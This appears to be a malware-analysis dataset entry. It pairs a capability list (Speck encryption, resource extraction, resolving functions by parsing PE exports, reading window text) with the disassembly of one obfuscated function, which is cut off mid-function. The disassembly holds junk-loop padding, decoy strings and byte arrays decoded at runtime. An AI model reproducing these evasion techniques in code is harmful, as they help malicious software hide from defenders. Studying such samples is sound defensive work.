Function at 0x40f675
Capabilities:
Check http status code
Encrypt data using speck
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get graphical window text
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b90a1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x74c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x314], 0x3c42
mov dword [ebp - 0x4c0], str.yekrbv_yrfgkjab_mywvbgmd_qkjsawcms_hxfxlskw_ofklcpbfa_iqyxrizus_eoe_vwbwwclh_qwkkccm
cmp dword [ebp - 0x314], 0x3f16
jle 0x40f754
and dword [ebp - 0x198], 0
jmp 0x40f6d4
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x3da6
jge 0x40f754
and dword [ebp - 0x194], 0
jmp 0x40f6f6
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x5b0f
jge 0x40f74f
mov eax, dword [ebp - 0x198]
and eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x460], edx
push dword [ebp - 0x460]
push dword [ebp - 0x464]
lea ecx, [ebp - 0x624]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x624]
call fcn.00402cea
jmp 0x40f6e9
jmp 0x40f6c7
cmp dword [ebp + 0x10], 0
jbe 0x40f8c3
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x40f8c3
mov dword [ebp - 0x318], 0x425e
mov dword [ebp - 0x474], str.ufwsmsymb_fdtve_casepcj_scyum_pspszgur_xjxxj_zmdxors_zoy_kpxrq_hnpyen_rqwetoybg
cmp dword [ebp - 0x318], 0x4317
jle 0x40f86d
and dword [ebp - 0x4c], 0
jmp 0x40f79b
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x1985
jge 0x40f86d
and dword [ebp - 0x12c], 0
jmp 0x40f7be
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x72f3
jge 0x40f868
and dword [ebp - 0x54], 0
jmp 0x40f7db
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x7a1a
jge 0x40f863
and dword [ebp - 0x1c8], 0
jmp 0x40f7fa
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x23c6
jge 0x40f85e
mov eax, dword [ebp - 0x4c]
cdq
idiv dword [ebp - 0x12c]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c8]
sar eax, cl
and eax, edx
cdq
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], edx
push dword [ebp - 0x404]
push dword [ebp - 0x408]
lea ecx, [ebp - 0x6fc]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x6fc]
call fcn.00402cea
jmp 0x40f7ed
jmp 0x40f7d4
jmp 0x40f7b1
jmp 0x40f794
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0040e431
pop ecx
pop ecx
jmp 0x412845
mov dword [ebp - 4], 2
cmp dword [ebp - 0x314], 0x3b00
jge 0x40f8e2
push dword [ebp - 0x4c0]
call fcn.0048cb18
pop ecx
jmp 0x40f8fe
or dword [ebp - 4], 0xffffffff
jmp 0x40f908
mov dword [ebp - 0x31c], 0x1fa2
mov dword [ebp - 0x4b0], str.tsqs_zhjxg_emtm_lnhi_gmxlc_jbvk
cmp dword [ebp - 0x31c], 0x237c
jle 0x40f9d2
and dword [ebp - 0x5c], 0
jmp 0x40f939
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x2bc8
jge 0x40f9d2
and dword [ebp - 0x134], 0
jmp 0x40f95c
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x2b1e
jge 0x40f9cd
and dword [ebp - 0x64], 0
jmp 0x40f975
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x1891
jge 0x40f9cb
mov eax, dword [ebp - 0x5c]
xor eax, dword [ebp - 0x134]
xor eax, dword [ebp - 0x64]
cdq
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], edx
push dword [ebp - 0x4b8]
push dword [ebp - 0x4bc]
lea ecx, [ebp - 0x72c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x72c]
call fcn.00402cea
jmp 0x40f96e
jmp 0x40f94f
jmp 0x40f932
mov dword [ebp - 4], 4
cmp dword [ebp - 0x31c], 0x1c95
jge 0x40f9f1
push dword [ebp - 0x4b0]
call fcn.0048cb18
pop ecx
jmp 0x40fa0d
or dword [ebp - 4], 0xffffffff
jmp 0x40fa17
cmp dword [ebp + 0x10], 0
jne 0x410ab7
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.00405658
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x280], 0x2108
mov dword [ebp - 0x3fc], str.cxico_ovp_qjmmunev_sqjvwokt_rchxpkjls
cmp dword [ebp - 0x280], 0x22e1
jle 0x40fb1b
and dword [ebp - 0x1a0], 0
jmp 0x40fa6c
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x450e
jge 0x40fb10
and dword [ebp - 0x6c], 0
jmp 0x40fa89
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x14bd
jge 0x40fb0b
and dword [ebp - 0x13c], 0
jmp 0x40faa8
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x73a1
jge 0x40fb06
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x6c]
shl eax, cl
xor eax, dword [ebp - 0x13c]
cdq
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], edx
push dword [ebp - 0x410]
push dword [ebp - 0x414]
lea ecx, [ebp - 0x75c]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x75c]
call fcn.00402cea
jmp 0x40fa9b
jmp 0x40fa82
jmp 0x40fa5f
push 0x2184
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [ebp - 4], 6
cmp dword [ebp - 0x280], 0x1dd7
jge 0x40fb3a
push dword [ebp - 0x3fc]
call fcn.0048cb18
pop ecx
jmp 0x40fb56
or dword [ebp - 4], 0xffffffff
jmp 0x40fb60
mov dword [ebp - 0x300], 0x791f
mov dword [ebp - 0x400], str.rqfmicem_rqq_kfbowdwln_ndmsohpi_oljopgcx_rinxbgsyg_yhzoaqz_ausx_iimufc_kxk_drssrcvw_bllggqq
cmp dword [ebp - 0x300], 0x7aa7
jle 0x40fc60
and dword [ebp - 0x74], 0
jmp 0x40fb91
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x691b
jge 0x40fc60
and dword [ebp - 0x1e0], 0
jmp 0x40fbb4
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x783f
jge 0x40fc5b
and dword [ebp - 0x7c], 0
jmp 0x40fbd1
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x16ee
jge 0x40fc56
and dword [ebp - 0x144], 0
jmp 0x40fbf0
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x2c7b
jge 0x40fc51
mov eax, dword [ebp - 0x74]
and eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x7c]
add ecx, dword [ebp - 0x144]
and eax, ecx
cdq
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], edx
push dword [ebp - 0x46c]
push dword [ebp - 0x470]
lea ecx, [ebp - 0x594]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x594]
call fcn.00402cea
jmp 0x40fbe3
jmp 0x40fbca
jmp 0x40fba7
jmp 0x40fb8a
cmp dword [0xabbe68], 0
jne 0x410a40
mov dword [ebp - 0x32c], 0x1f13
lea eax, [ebp - 0x32c]
push eax
call fcn.0040e1ed
pop ecx
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x30c], 0xb3a
mov dword [ebp - 0x4b4], str.izawrjwmc_lhh_jgidpjr_aryp_mvnllmx_sopw_kkecyzhc_hacd_qdevanv_gmnzzbe_seckdqo_gbzwzak_vcrx
cmp dword [ebp - 0x30c], 0xda9
jle 0x40fd58
and dword [ebp - 0x84], 0
jmp 0x40fcc4
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x76fd
jge 0x40fd58
and dword [ebp - 0x1a8], 0
jmp 0x40fcea
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x734c
jge 0x40fd53
and dword [ebp - 0x8c], 0
jmp 0x40fd0c
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x2726
jge 0x40fd51
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x1a8]
sar eax, cl
or eax, dword [ebp - 0x8c]
cdq
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], edx
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x40fcff
jmp 0x40fcdd
jmp 0x40fcb7
mov dword [ebp - 4], 8
cmp dword [ebp - 0x30c], 0x777
jge 0x40fd7b
mov edx, dword [ebp - 0x4b4]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x40fd97
or dword [ebp - 4], 0xffffffff
jmp 0x40fda1
mov byte [ebp - 0x234], 0
mov byte [ebp - 0x233], 0x48
mov byte [ebp - 0x232], 7
mov byte [ebp - 0x231], 0x87
mov byte [ebp - 0x230], 0xc8
mov byte [ebp - 0x22f], 0xeb
mov byte [ebp - 0x22e], 0xc2
mov byte [ebp - 0x22d], 0xae
mov byte [ebp - 0x22c], 5
mov byte [ebp - 0x22b], 2
mov byte [ebp - 0x22a], 0x77
mov byte [ebp - 0x229], 8
mov byte [ebp - 0x228], 0x74
mov byte [ebp - 0x227], 3
mov byte [ebp - 0x226], 0x5d
mov byte [ebp - 0x225], 6
mov byte [ebp - 0x224], 0x7c
mov byte [ebp - 0x223], 7
mov byte [ebp - 0x222], 0x74
mov byte [ebp - 0x221], 5
mov byte [ebp - 0x220], 0x7f
mov byte [ebp - 0x21f], 9
mov byte [ebp - 0x21e], 0x7d
mov byte [ebp - 0x21d], 0xc
mov byte [ebp - 0x21c], 0x68
mov byte [ebp - 0x21b], 0xa
mov byte [ebp - 0x21a], 0x58
mov byte [ebp - 0x219], 0xb
mov byte [ebp - 0x218], 0x8d
mov byte [ebp - 0x217], 1
mov byte [ebp - 0x216], 0x7c
mov byte [ebp - 0x215], 4
mov byte [ebp - 0x214], 0x7e
and dword [ebp - 0x14], 0
and dword [ebp - 0x2d0], 0
jmp 0x40fe9d
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x21
jae 0x40ff2a
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x234]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x40fed3
mov dword [ebp - 0x2d0], 7
mov eax, dword [ebp - 0x14]
add eax, 5
mov dword [ebp - 0x14], eax
jmp 0x40fe95
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x233]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2d0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jge 0x40ff0d
mov eax, dword [ebp - 0x14c]
add eax, 0x100
mov dword [ebp - 0x14c], eax
jmp 0x40fef1
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x234]
mov cl, byte [ebp - 0x14c]
mov byte [ebp + eax - 0x4d0], cl
jmp 0x40fe95
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x4d0], 0
mov dword [ebp - 0x288], 0x2482
mov dword [ebp - 0x338], str.udv_qmd_bzqhxaf_leh_ltp
cmp dword [ebp - 0x288], 0x2541
jle 0x410064
and dword [ebp - 0x154], 0
jmp 0x40ff72
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x587b
jge 0x41005a
and dword [ebp - 0x94], 0
jmp 0x40ff98
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x1b4a
jge 0x410055
and dword [ebp - 0x1d0], 0
jmp 0x40ffbe
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x5b57
jge 0x410050
and dword [ebp - 0x9c], 0
jmp 0x40ffe4
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x1376
jge 0x41004b
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0x1d0]
imul eax, dword [ebp - 0x9c]
or eax, dword [ebp - 0x154]
cdq
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x4a0], edx
push dword [ebp - 0x4a0]
push dword [ebp - 0x4a4]
lea ecx, [ebp - 0x684]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x684]
call fcn.00402cea
jmp 0x40ffd7
jmp 0x40ffb1
jmp 0x40ff8b
jmp 0x40ff65
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea eax, [ebp - 0x4d0]
push eax
lea ecx, [ebp - 0x5c4]
call fcn.00426c41
mov edx, dword [ebp - 0x278]
mov ecx, eax
call fcn.00405658
mov dword [0xabbe68], eax
lea ecx, [ebp - 0x5c4]
call fcn.00402ea1
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x288], 0x2433
jge 0x4100b2
push dword [ebp - 0x338]
call fcn.0048cb18
pop ecx
jmp 0x4100ce
or dword [ebp - 4], 0xffffffff
jmp 0x4100d8
and dword [ebp - 0xa4], 0
jmp 0x4100ee
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xe
jae 0x410107
mov eax, dword [ebp - 0xa4]
mov byte [ebp + eax - 0x4d0], 0
jmp 0x4100e1
mov dword [ebp - 0x2f8], 0x105a
mov dword [ebp - 0x458], str.whufqsz_xej_jlsp_axzpp
cmp dword [ebp - 0x2f8], 0x12c8
jle 0x4101d5
and dword [ebp - 0x1b0], 0
jmp 0x410141
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x490c
jge 0x4101d5
and dword [ebp - 0xac], 0
jmp 0x410167
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x5b8f
jge 0x4101d0
and dword [ebp - 0x15c], 0
jmp 0x410189
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x4f11
jge 0x4101ce
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0xac]
sar eax, cl
or eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x428], edx
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x41017c
jmp 0x41015a
jmp 0x410134
mov byte [ebp - 0x26c], 7
mov byte [ebp - 0x26b], 0x73
mov byte [ebp - 0x26a], 2
mov byte [ebp - 0x269], 0x68
mov byte [ebp - 0x268], 6
mov byte [ebp - 0x267], 0x55
mov byte [ebp - 0x266], 0xd
mov byte [ebp - 0x265], 0x5e
mov byte [ebp - 0x264], 4
mov byte [ebp - 0x263], 0x7d
mov byte [ebp - 0x262], 0xb
mov byte [ebp - 0x261], 0x7e
mov byte [ebp - 0x260], 3
mov byte [ebp - 0x25f], 0x6e
mov byte [ebp - 0x25e], 0
mov byte [ebp - 0x25d], 0x52
mov byte [ebp - 0x25c], 0x19
mov byte [ebp - 0x25b], 0x28
mov byte [ebp - 0x25a], 0x5e
mov byte [ebp - 0x259], 0x80
mov byte [ebp - 0x258], 0xbe
mov byte [ebp - 0x257], 0x46
mov byte [ebp - 0x256], 0x57
mov byte [ebp - 0x255], 0xd4
mov byte [ebp - 0x254], 0x40
mov byte [ebp - 0x253], 0x80
mov byte [ebp - 0x252], 0xa8
mov byte [ebp - 0x251], 0x24
mov byte [ebp - 0x250], 0xc1
mov byte [ebp - 0x24f], 0xeb
mov byte [ebp - 0x24e], 0xde
mov byte [ebp - 0x24d], 0x5f
mov byte [ebp - 0x24c], 0xc4
mov byte [ebp - 0x24b], 0xc
mov byte [ebp - 0x24a], 0x3d
mov byte [ebp - 0x249], 0x40
mov byte [ebp - 0x248], 0x64
mov byte [ebp - 0x247], 0xa4
mov byte [ebp - 0x246], 0x4c
mov byte [ebp - 0x245], 0xc7
mov byte [ebp - 0x244], 0xf2
mov byte [ebp - 0x243], 1
mov byte [ebp - 0x242], 0x83
mov byte [ebp - 0x241], 8
mov byte [ebp - 0x240], 0x82
mov byte [ebp - 0x23f], 0xc
mov byte [ebp - 0x23e], 0x88
mov byte [ebp - 0x23d], 5
mov byte [ebp - 0x23c], 0x7c
mov byte [ebp - 0x23b], 0xa
mov byte [ebp - 0x23a], 0x7e
mov byte [ebp - 0x239], 9
mov byte [ebp - 0x238], 0x7e
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x2f8], 0xd6f
jge 0x41036b
mov edx, dword [ebp - 0x458]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x410387
or dword [ebp - 4], 0xffffffff
jmp 0x410391
and dword [ebp - 0x18], 0
and dword [ebp - 0x298], 0
jmp 0x4103a6
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x35
jae 0x410664
mov dword [ebp - 0x2d8], 0x838
mov dword [ebp - 0x494], str.miafp_ckwh_fobk_mspwzlwn_gwevzp_qyip_mzcba_cwly
cmp dword [ebp - 0x2d8], 0xb89
jle 0x41047c
and dword [ebp - 0xbc], 0
jmp 0x4103ea
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x134b
jge 0x41047c
and dword [ebp - 0xb4], 0
jmp 0x410410
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x7a13
jge 0x410477
and dword [ebp - 0x1f0], 0
jmp 0x410432
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x22e7
jge 0x410475
mov eax, dword [ebp - 0xb4]
and eax, dword [ebp - 0x1f0]
or eax, dword [ebp - 0xbc]
cdq
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x478], edx
push dword [ebp - 0x478]
push dword [ebp - 0x47c]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410425
jmp 0x410403
jmp 0x4103dd
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x26c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x4105c4
mov dword [ebp - 0x290], 0x5d83
mov dword [ebp - 0x344], str.bmzslt_ijpfussvp_rvlsngpzx_iffzpuk
cmp dword [ebp - 0x290], 0x5e73
jle 0x410563
and dword [ebp - 0x1b8], 0
jmp 0x4104d1
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x49d8
jge 0x410563
and dword [ebp - 0x164], 0
jmp 0x4104f7
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x3860
jge 0x41055e
and dword [ebp - 0xc4], 0
jmp 0x410519
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x3c01
jge 0x41055c
mov eax, dword [ebp - 0x164]
xor eax, dword [ebp - 0xc4]
or eax, dword [ebp - 0x1b8]
cdq
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], edx
push dword [ebp - 0x434]
push dword [ebp - 0x438]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x41050c
jmp 0x4104ea
jmp 0x4104c4
mov dword [ebp - 0x298], 0x19
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x290], 0x5a5e
jge 0x410590
mov edx, dword [ebp - 0x344]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x4105ac
or dword [ebp - 4], 0xffffffff
jmp 0x4105b6
mov eax, dword [ebp - 0x18]
add eax, 0x17
mov dword [ebp - 0x18], eax
jmp 0x41039e
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x2d8], 0x7a9
jge 0x4105e7
mov edx, dword [ebp - 0x494]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x410603
or dword [ebp - 4], 0xffffffff
jmp 0x41060d
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x26b]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x298]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jge 0x410647
mov eax, dword [ebp - 0xcc]
add eax, 0x100
mov dword [ebp - 0xcc], eax
jmp 0x41062b
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x26c]
mov cl, byte [ebp - 0xcc]
mov byte [ebp + eax - 0x4e0], cl
jmp 0x41039e
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x4e0], 0
mov dword [ebp - 0x2a0], 0xaa6
mov dword [ebp - 0x350], str.jifidtgam_xbbeyatgy_xpkf_lotmzv_gygnhfppa_kblhcu_irplb_tdiwefuct_nocyimqp_rmrusy
cmp dword [ebp - 0x2a0], 0xc2e
jle 0x41076e
push 0x19
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
and dword [ebp - 0x1d8], 0
jmp 0x4106bd
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x85a
jge 0x41076e
and dword [ebp - 0x16c], 0
jmp 0x4106e3
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x1ad0
jge 0x410769
and dword [ebp - 0xd4], 0
jmp 0x410705
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x321f
jge 0x410764
mov eax, dword [ebp - 0x16c]
and eax, dword [ebp - 0xd4]
xor eax, dword [ebp - 0x1d8]
cdq
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], edx
push dword [ebp - 0x4a8]
push dword [ebp - 0x4ac]
lea ecx, [ebp - 0x744]
call fcn.0040546b
pop ecx
pop ecx
mov ecx, eax
call fcn.00402efd
push eax
call fcn.0048cb18
pop ecx
lea ecx, [ebp - 0x744]
call fcn.00402cea
jmp 0x4106f8
jmp 0x4106d6
jmp 0x4106b0
lea eax, [ebp - 0x4e0]
push eax
lea ecx, [ebp - 0x5f4]
call fcn.00426c41
mov edx, dword [ebp - 0x278]
mov ecx, eax
call fcn.00405658
mov dword [0xabbfb0], eax
lea ecx, [ebp - 0x5f4]
call fcn.00402ea1
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x2a0], 0x9f0
jge 0x4107bc
push dword [ebp - 0x350]
call fcn.0048cb18
pop ecx
jmp 0x4107d8
or dword [ebp - 4], 0xffffffff
jmp 0x4107e2
mov dword [ebp - 0x2a8], 0x605d
mov dword [ebp - 0x35c], str.ruswy_xtv_qkpmq_kpiy_aaepria_vzrjriouw_cns_igcvab_spoqwygn_ltnfjiudl_vhudjo_plhgvdlxw
cmp dword [ebp - 0x2a8], 0x6347
jle 0x41087a
and dword [ebp - 0xdc], 0
jmp 0x410818
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0xef
jge 0x41087a
and dword [ebp - 0x174], 0
jmp 0x41083a
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x3a2
jge 0x410878
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0x174]
cdq
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x440], edx
push dword [ebp - 0x440]
push dword [ebp - 0x444]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x41082d
jmp 0x41080b
and dword [ebp - 0xf4], 0
jmp 0x410890
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xf
jae 0x4109f7
mov dword [ebp - 0x2e0], 0xf8e
mov dword [ebp - 0x3f8], str.oitbrhzs_ozlvuayw_ojqsrncec_homava_seizcvml_zfgajc_nrldxb_zydari_aqkife_nbhjhm_sqe
cmp dword [ebp - 0x2e0], 0x1233
jle 0x41099b
and dword [ebp - 0xe4], 0
jmp 0x4108d7
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x5c75
jge 0x41099b
and dword [ebp - 0x1c0], 0
jmp 0x4108fd
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x1456
jge 0x410996
and dword [ebp - 0xec], 0
jmp 0x410923
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x5662
jge 0x410991
and dword [ebp - 0x17c], 0
jmp 0x410945
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x1066
jge 0x41098f
mov eax, dword [ebp - 0xe4]
imul eax, dword [ebp - 0x1c0]
and eax, dword [ebp - 0xec]
or eax, dword [ebp - 0x17c]
cdq
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], edx
push dword [ebp - 0x484]
push dword [ebp - 0x488]
mov ecx, 0xab89f8
call fcn.00426afc
jmp 0x410938
jmp 0x410916
jmp 0x4108f0
jmp 0x4108ca
mov eax, dword [ebp - 0xf4]
mov byte [ebp + eax - 0x4e0], 0
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x2e0], 0xdda
jge 0x4109cc
mov edx, dword [ebp - 0x3f8]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x4109e8
or dword [ebp - 4], 0xffffffff
jmp 0x4109f2
jmp 0x410883
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x2a8], 0x5db8
jge 0x410a1a
mov edx, dword [ebp - 0x35c]
mov ecx, 0xab89f8
call fcn.00428345
jmp 0x410a36
or dword [ebp - 4], 0xffffffff
jmp 0x410a40
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x300], 0x7860
jge 0x410a5f
push dword [ebp - 0x400]
call fcn.0048cb18
pop ecx
jmp 0x410a7b
or dword [ebp - 4], 0xffffffff
jmp 0x410a85
mov eax, dword [0xabbe68]
cmp eax, dword [ebp - 0xf0]
je 0x410a9f
mov eax, dword [0xabbfb0]
cmp eax, dword [ebp - 0xf0]
jne 0x410ab7
mov ecx, dword [ebp + 0xc]
call fcn.00402efd
push eax
push dword [ebp + 8]
call fcn.0040e431
pop ecx
pop ecx
jmp 0x412845
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x304], 0x5c5e
mov dword [ebp - 0x3ec], str.rsxd_fpi_nqise_gbxl_xxhkbaq_nflkwv_tqneie_aqzphww
cmp dword [ebp - 0x304], 0x5f9b
jle 0x410bbd
and dword [ebp - 0x1e8], 0
jmp 0x410afa
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x2a40
jge 0x410bbd
and dword [ebp - 0xfc], 0
jmp 0x410b20
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x565d
jge 0x410bb8
and dword [ebp - 0x184], 0
jmp 0x410b46
